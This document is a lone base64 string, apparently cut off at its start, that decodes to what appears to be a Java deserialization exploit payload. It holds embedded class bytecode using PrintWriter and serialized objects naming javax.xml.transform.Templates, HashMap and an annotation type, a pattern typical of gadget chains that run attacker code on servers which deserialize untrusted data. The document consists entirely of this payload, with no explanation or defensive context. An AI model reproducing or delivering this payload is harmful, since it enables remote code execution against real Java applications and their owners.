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
|